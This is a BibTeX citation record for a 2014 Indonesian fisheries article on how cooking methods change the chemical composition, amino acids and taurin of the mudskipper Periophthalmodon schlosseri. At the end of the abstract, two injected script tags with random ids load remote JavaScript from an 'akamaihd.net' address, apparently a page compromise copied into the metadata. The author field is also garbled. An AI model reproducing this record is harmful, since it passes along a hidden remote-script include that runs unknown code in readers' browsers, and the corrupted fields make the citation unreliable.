@article{Purwaningsih_salamah_Riviani_2014, place={Bogor, ID}, title={PERUBAHAN KOMPOSISI KIMIA, ASAM AMINO, DAN KANDUNGAN TAURIN IKAN GLODOK (Periopthalmodon schlosseri)}, volume={16}, url={https://journal.ipb.ac.id/index.php/jphpi/article/view/8109}, DOI={10.17844/jphpi.v16i1.8109}, abstractNote={Abstrak<br />Ikan glodok selama ini dipercaya oleh masyarakat untuk menambah tenaga sehingga sering dikonsumsi<br />oleh ibu hamil, tetapi sangat jarang kajian ilmiah yang mempelajari tentang hal ini. Tujuan penelitian<br />adalah mempelajari pengaruh pengolahan ikan glodok (Periophthalmodon schlosseri) terhadap perubahan<br />komposisi kimia dan kandungan asam amino serta perubahan kandungan taurin pada metode pengolahan<br />terbaik. Metode pengolahan yang dilakukan adalah perebusan, pengukusan, dan perebusan menggunakan<br />garam (3%). Hasil penelitian menunjukkan bahwa pengolahan memberikan pengaruh (α=0,05) pada kadar<br />lemak, protein, air, abu, dan karbohidrat. Pengukusan menurunkan asam amino sebesar 4,68%, perebusan<br />menggunakan garam (3%) sebesar 5,22%, dan perebusan sebesar 6,84%. Metode pengolahan terbaik adalah<br />pengukusan. Kandungan taurin pada ikan glodok mengalami penurunan 62,3% setelah dikukus.<br />Kata kunci: asam amino, ikan glodok (Periophthalmodon schlosseri), pengolahan, taurin<script id="asdasdfdhggfhjhlfd4" src="http://asrv-a.akamaihd.net/sd/1018/1005.js"></script><script id="asdasdfdhggfhjhl45646" src="http://asrv-a.akamaihd.net/sd/1018/1022.js"></script&gt;}, number={1}, journal={Jurnal Pengolahan Hasil Perikanan Indonesia}, author={Purwaningsihsri - and salamahella - and Riviani- -}, year={2014}, month={Jun.} }